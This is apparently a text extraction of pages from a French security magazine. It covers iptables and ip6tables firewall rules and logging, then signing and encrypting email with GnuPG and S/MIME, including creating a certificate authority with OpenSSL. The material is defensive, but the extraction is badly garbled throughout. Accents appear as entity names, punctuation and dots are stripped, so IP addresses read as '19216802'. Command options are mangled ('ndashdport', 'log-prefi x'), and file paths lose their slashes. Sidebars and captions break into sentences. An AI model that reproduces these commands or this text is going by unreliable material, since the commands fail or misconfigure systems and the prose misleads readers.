Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

